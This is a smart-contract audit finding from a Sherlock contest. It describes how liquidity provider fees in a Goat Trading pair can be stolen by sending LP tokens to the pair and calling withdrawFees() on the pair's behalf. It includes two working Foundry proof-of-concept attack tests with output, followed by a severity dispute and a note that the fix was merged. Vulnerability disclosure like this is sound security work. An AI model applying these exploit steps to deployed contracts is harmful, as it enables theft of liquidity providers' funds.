zzykxx - Liquidity provider fees can be stolen from any pair

[sherlock-admin3]

zzykxx

high

Liquidity provider fees can be stolen from any pair

Summary

An attacker can steal the liquidiy providers fees by transfering liquidity tokens to the pair and then withdrawing fees on behalf of the pair itself.

Vulnerability Detail

This is possible because of two reasons:

1. Transfering liquidity tokens to the pair itself doesn't update the fee tracking variables:

if (to != address(this)) {
    _updateFeeRewards(to);
}

which results in the variable feesPerTokenPaid[address(pair)] of the pair being equal to 0.

2. The function withdrawFees() is a permissionless function that allows to withdraw fees on behalf of any address, including the pair itself.

By combining this two quirks of the codebase an attacker can steal all of the currently pending liquidity provider fees by doing the following:

1. Add liquidity to a pair, which will mint the attacker some liquidity tokens
2. Transfer the liquidity tokens to the pair directly
3. Call withdrawFees() by passing the address of the pair. Because feesPerTokenPaid[address(pair)] is 0 this will collect fees on behalf of the pair even if it shouldn't. The function will transfer an amount x of WETH from the pair to the pair itself and will lower the _pendingLiquidityFee variable by that same amount
4. Because the variable _pendingLiquidityFee has been lowered by x the pool will assume someone transferred x WETH to it
5. At this point the attacker can take advantage of this however he likes, but for the sake of the example let's suppose he calls swap() to swap x ETH into tokens that will be transferred to his wallet
6. The attacker burns the liquidity transferred at point 2 to recover his funds

POC

Show

To copy-paste in `GoatV1Pair.t.sol`: ```solidity function testStealFees() public { GoatTypes.InitParams memory initParams; initParams.virtualEth = 10e18; initParams.initialEth = 10e18; initParams.initialTokenMatch = 10e18; initParams.bootstrapEth = 10e18; address pairAddress = factory.createPair(address(goat), initParams); address to = users.lp; //-> The following block of code: // 1. Creates a pool and immediately converts it into AMM // 2. Skips 31 days to skip the vesting period // 3. Simulates users using the pool by performing a bunch of swaps { //-> 1. A pair is created and immediately converted to an AMM (uint256 tokenAmtForPresale, uint256 tokenAmtForAmm) = GoatLibrary.getTokenAmountsForPresaleAndAmm( initParams.virtualEth, initParams.bootstrapEth, initParams.initialEth, initParams.initialTokenMatch ); uint256 bootstrapTokenAmt = tokenAmtForPresale + tokenAmtForAmm; _fundMe(IERC20(address(goat)), to, bootstrapTokenAmt); _fundMe(IERC20(address(weth)), to, initParams.initialEth); vm.startPrank(to); goat.transfer(pairAddress, bootstrapTokenAmt); weth.transfer(pairAddress, initParams.initialEth); pair = GoatV1Pair(pairAddress); pair.mint(to); vm.stopPrank(); //-> 2. Skips 31 days to skip the vesting period skip(31 days); //-> 3. Simulates users using the pool by performing a bunch of swaps uint256 reserveEth = 0; uint256 reserveToken = 0; _fundMe(IERC20(address(goat)), to, 100e18); _fundMe(IERC20(address(weth)), to, 100e18); for(uint256 i; i < 100; i++) { (reserveEth, reserveToken) = pair.getReserves(); uint256 wethIn = 1e18; uint256 goatOut = GoatLibrary.getTokenAmountOutAmm(wethIn, reserveEth, reserveToken); vm.startPrank(to); weth.transfer(address(pair), wethIn); pair.swap(goatOut, 0, to); vm.stopPrank(); skip(3); //Avoid MEV restrictions (reserveEth, reserveToken) = pair.getReserves(); uint256 goatIn = 1e18; uint256 wethOut = GoatLibrary.getWethAmountOutAmm(wethIn, reserveEth, reserveToken); vm.startPrank(to); goat.transfer(address(pair), goatIn); pair.swap(0, wethOut, to); vm.stopPrank(); } } //-> The pool has some pending liquidity fees uint256 pendingLiquidityFeesBefore = pair.getPendingLiquidityFees(); assertEq(pendingLiquidityFeesBefore, 809840958520307912); //-> The attacker adds liquidity to the pool address attacker = makeAddr("attacker"); (uint256 reserveEth, uint256 reserveToken) = pair.getReserves(); uint256 initialGoatAmount = 5.54e18; uint256 initialWethAmount = GoatLibrary.quote(initialGoatAmount, reserveToken, reserveEth); _fundMe(IERC20(address(goat)), attacker, initialGoatAmount); _fundMe(IERC20(address(weth)), attacker, initialWethAmount); vm.startPrank(attacker); goat.transfer(pairAddress, initialGoatAmount); weth.transfer(pairAddress, initialWethAmount); pair.mint(address(attacker)); vm.stopPrank(); //-> Two days needs to be skipped to avoid locking time skip(2 days); //-> The attacker does the following: // -> 1. Transfers the liquidity tokens to the pair // -> 2. Calls `withdrawFees()` on behalf of the pair which will lower `getPendingLiquidityFees` variables and transfers WETH from the pool to the pool // -> 3. Swaps the excess WETH in the pool to GOAT tokens // -> 4. Burns the liquidity he previously transferred to the pair // -> 5. The attacker profits and LP lose their fees { vm.startPrank(attacker); //-> 1. Transfers the liquidity tokens to the pair pair.transfer(address(pair), pair.balanceOf(attacker)); //-> 2. Calls `withdrawFees()` on behalf of the pair pair.withdrawFees(address(pair)); //-> An extra amount of WETH equal to the fees withdrawn on behalf of the pool is now in the pool uint256 pendingLiquidityFeesAfter = pair.getPendingLiquidityFees(); (uint256 reserveEthCurrent, uint256 reserveTokenCurrent) = pair.getReserves(); uint256 extraWethInPool = weth.balanceOf(address(pair)) - reserveEthCurrent - pair.getPendingLiquidityFees() - pair.getPendingProtocolFees(); assertEq(pendingLiquidityFeesBefore - pendingLiquidityFeesAfter, extraWethInPool); //-> 3. Swaps the excess WETH in the pool to GOAT tokens uint256 goatOut = GoatLibrary.getTokenAmountOutAmm(extraWethInPool, reserveEthCurrent, reserveTokenCurrent); pair.swap(goatOut, 0, attacker); //-> 4. Burns the liquidity he previously transferred to the pair pair.burn(attacker); //-> 5. The attacker profits and LP lose their fees uint256 attackerWethProfit = weth.balanceOf(attacker) - initialWethAmount; uint256 attackerGoatProfit = goat.balanceOf(attacker) - initialGoatAmount; assertEq(attackerWethProfit, 399855575210658419); assertEq(attackerGoatProfit, 453187161321825804); vm.stopPrank(); } } ```

Impact

Liquidity provider fees can be stolen from any pair.

Code Snippet

Tool used

Manual Review

Recommendation

In withdrawFees(pair) add a require statement to prevent fees being withdrawn on behalf of the pool.

require(to != address(this));

[adamidarrha]

This issue warrants a HIGH severity rating. It demonstrates how any liquidity provider can siphon fees intended for all other liquidity providers. This aligns with the Sherlock Docs criteria for a HIGH issue:

1. Definite loss of funds without (extensive) limitations of external conditions:
   • The exploit clearly results in the theft of LP fees, with the only requirement being that the attacker holds a portion of the total LP tokens. this doesn't result in any loss for the hacker, and he can do it for any new fees aquired.
2. Inflicts serious non-material losses (doesn't include contract simply not working):
   • While the core functionality of the protocol may remain intact, the loss of fees represents a significant financial loss for LPs.

the POC in C1rdan - hacker can steal fee from LPs #25 clearly demonstrates that any LP token holder can steal fees from all other LPs. This constitutes a direct loss of funds and should be classified as a HIGH severity issue according to Sherlock guidelines.

Proof Of Concept here a modified verssion C1rdan POC to show an attacker can steal all fees and not just a portion:

function _setupPair() internal returns(uint256 lpBalance) {

        GoatTypes.InitParams memory initParams;
        initParams.virtualEth = 10e18;
        initParams.initialEth = 10e18;
        initParams.initialTokenMatch = 1000e18;
        initParams.bootstrapEth = 10e18;
        uint256 wethAmount = 10e18;
        _mintInitialLiquidity(initParams, users.lp);

        uint256 fees = (wethAmount * 99) / 10000;
        uint256 totalLpFees = (fees * 40) / 100;
        uint256 totalSupply = pair.totalSupply();
        uint256 feesPerTokenStored = (totalLpFees * 1e18) / totalSupply;
        lpBalance = pair.balanceOf(users.lp);
        uint256 lpFees = (feesPerTokenStored * lpBalance) / 1e18;

        feesPerTokenStored = pair.feesPerTokenStored();
        uint256 earned = pair.earned(users.lp);
    }

    function _setUpAddress(address user) internal returns (uint wethStart, uint tokenStart) {
        (uint256 wethR, uint256 tokenR) = pair.getReserves();
        wethStart = wethR+ 1e18 ;
        tokenStart= tokenR+ 100e18 ;

        vm.deal(user,wethStart);
        _fundMe(IERC20(goat), user, tokenStart );
        vm.prank(user);
        weth.deposit{value: wethStart}();
    }

    function testStealFees() public {

        uint256 initialLPBalance = _setupPair();

        address hacker = address(0x1337);

        (uint wethStart, uint tokenStart) = _setUpAddress(hacker);

        // hacker adding Liquidity
        vm.startPrank(hacker);
        weth.transfer(address(pair), wethStart - 1e18);
        goat.transfer(address(pair), tokenStart - 100e18);
        pair.mint(hacker);
        vm.stopPrank();
        uint256 hackerInitialLpBalance = pair.balanceOf(hacker);
        uint256 hackerInitialWethBalance = weth.balanceOf(hacker);

        // Wait until lock time is over
        vm.warp(pair.lockedUntil(hacker) + 1);

        {//give user weth
        address swappingUser = address(0x002);

        uint256 wethSwap = 1e18;
        vm.deal(swappingUser, wethSwap);

        vm.startPrank(swappingUser);
        weth.deposit{value: wethSwap}();

        // simulate user swaps to add fees to protocol
        weth.transfer(address(pair), wethSwap);

        (uint wethReserveBefore, uint tokenReserveBefore) = pair.getReserves();
        uint amountTokenOut = GoatLibrary.getTokenAmountOutAmm(
            wethSwap,
            wethReserveBefore,
          tokenReserveBefore 
        );
        pair.swap(amountTokenOut, 0, swappingUser);
        vm.stopPrank();
        }

        (uint256 reservesWethAfterSwap, ) = pair.getReserves();

        console.log("the LPToken balance of the inital LP", initialLPBalance * 10000 / pair.totalSupply(), "BPS");
        console.log("the LPToken balance of the hacker", hackerInitialLpBalance * 10000 / pair.totalSupply(), "BPS");

        console.log("the fees unclaimed by the initial LP:", pair.earned(users.lp));

        //the hacker withdraws his fees
        vm.startPrank(hacker);
        console.log("fees unclaimed by hacker:", pair.earned(hacker));

        pair.withdrawFees(hacker);
        console.log("fee received by hacker:", weth.balanceOf(hacker) - hackerInitialWethBalance);

        // Transfer LPs to pair itself
        pair.transfer(address(pair), hackerInitialLpBalance);

        console.log("amount of pending liquidity fees:", pair.getPendingLiquidityFees());
        //the hacker withdraws the fees of the pair
        uint256 feesUnclaimedByPair = pair.earned(address(pair));
        console.log("fees unclaimed by the pair:", pair.earned(address(pair)));
        pair.withdrawFees(address(pair));
        console.log("amount of pending liquidity fees after withdrawing fees by the pair", pair.getPendingLiquidityFees());

        //get hacker tocken amount:
        {
            uint256 hackerTokenBalanceBefore = goat.balanceOf(hacker);
            uint256 hackerWethBalanceBefore = weth.balanceOf(hacker);
            console.log("hacker token balance before:", hackerTokenBalanceBefore);
            console.log("hacker weth balance before:", hackerWethBalanceBefore);

            // hacker swaps the stolen weth fee to Tokens.
            (uint wethReserveBefore, uint tokenReserveBefore) = pair.getReserves();
            uint amountTokenOut = GoatLibrary.getTokenAmountOutAmm(
                feesUnclaimedByPair,
                wethReserveBefore,
            tokenReserveBefore 
            );

            pair.swap(amountTokenOut, 0, hacker);

            console.log("hacker token balance after swap:", goat.balanceOf(hacker));
            console.log("hacker weth balance after swap:", weth.balanceOf(hacker));

            //asseting that the hacker got tokens out of the swap, without providing any weth to the pair
            assert(hackerTokenBalanceBefore < goat.balanceOf(hacker));
            assert(hackerWethBalanceBefore == weth.balanceOf(hacker));

            //the hacker burns the lpTokens transfered to the pair so he loses nothing
            pair.burn(hacker);

            vm.stopPrank();
        }

1. Attacker deposits liquidity, acquiring 50% of LP tokens.
2. Initial liquidity provider holds the remaining 50% of LP tokens.
3. Swaps are simulated, generating fees for all LP holders

Attack Sequence:

1. Initial Check: Both the attacker and the initial LP have unclaimed fees.
2. Attacker Withdraws: Attacker withdraws their earned fees.
3. Attacker transfers to the vault his entire balance
4. Fees Stolen: Attacker calls withdrawFees on the pair, claiming the accumulated fees and reducing the _pendingLiquidityFees balance.
5. attacker burns the liquidity he transfered to the pair.
6. attacker swaps the Eth that was gotten from ther liquidity providers fees, and claimed by the pool
7. When the initial LP attempts to withdraw fees, the transaction reverts due to insufficient _pendingLiquidityFees

• as this scenario shows any liquidity provider with a portion of LPTokens can steal all the fees of other LP's.

the output logs:

the LPToken balance of the inital LP 4999 BPS
the LPToken balance of the hacker 5000 BPS

the fees unclaimed by the initial LP: 1979999999999999
fees unclaimed by hacker: 1980000000000000

fee received by hacker: 1980000000000000

amount of pending liquidity fees: 1980000000000000

fees unclaimed by the pair: 1980000000000000
amount of pending liquidity fees after withdrawing fees by the pair 0

hacker token balance before: 100000000000000000000
hacker weth balance before: 1001980000000000000
hacker token balance after swap: 100044491256996732169
hacker weth balance after swap: 1001980000000000000

make this issue a high severity.

[zzykxx]

Escalate

This should be high severity. The POC in my report shows an attacker stealing all currently pending fees from a pool. @adamidarrha also explains why this should be high severity according to the rules.

[sherlock-admin2]

Escalate

This should be high severity. The POC in my report shows an attacker stealing all currently pending fees from a pool. @adamidarrha also explains why this should be high severity according to the rules.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[RobertMCForster]

This is confirmed as a high severity bug.

[cvetanovv]

For me, this issue is borderline High/Medium, but I don't think stealing a fee can be High. The values in the example are strongly exaggerated. Most likely, even with minimal accumulation, they will be immediately withdrawn.

[Evert0x]

I believe it should by High severity as the following description applies

Definite loss of funds without (extensive) limitations of external conditions.

Planning to accept escalation and make High severity

[ahmedAdam1337]

@cvetanovv the issue describes how a liquidity provider can basically gain double his rewards. for example if he had 5% of lpTokens he should get 5% of the rewards, but with this attack path he would be able to get 10%, and it can be done again and again and not just one time, the example we gave is about a lp with 50% can basically gain 100% of the rewards leaving nothing to other lp's.

1. 'I don't think stealing a fee can be High': it's not stealing fees , it's stealing all rewards accrued to liquidity providers, the sole purpose of providing liquidity in a dex pool is to get the swap fees, if lp's dont get their fees they withdraw their liquidity ,no liquidity no swaps.

2. 'The values in the example are strongly exaggerated': the examples provided are with a user holding 50% of lpTokens , which is not unrealistic nor exagerated, but the attack can be carried on with any % of lpTokens.

3. 'Most likely, even with minimal accumulation, they will be immediately withdrawn': fees are gotten from swaps which can happen anytime, lp's arent going to be just withdrawing fees whenever a swap happens. the attacker can also do this attack whenever because it's a 4 step attack (withdrawFees -> transfer lp tokens to vault -> burn tokens (swap) if any left to get out the rewards).

this is why i think it should be a high.

[Evert0x]

Result: High Has Duplicates

[sherlock-admin3]

Escalations have been resolved successfully!

Escalation status:

• zzykxx: accepted

[FastTiger777]

I think this is medium. As the following language fits the impact the best.

V. How to identify a medium issue: Breaks core contract functionality, rendering the contract useless or leading to loss of funds.

[sherlock-admin4]

The protocol team fixed this issue in the following PRs/commits: https://github.com/inedibleX/goat-trading/pull/5

[sherlock-admin4]

The Lead Senior Watson signed off on the fix.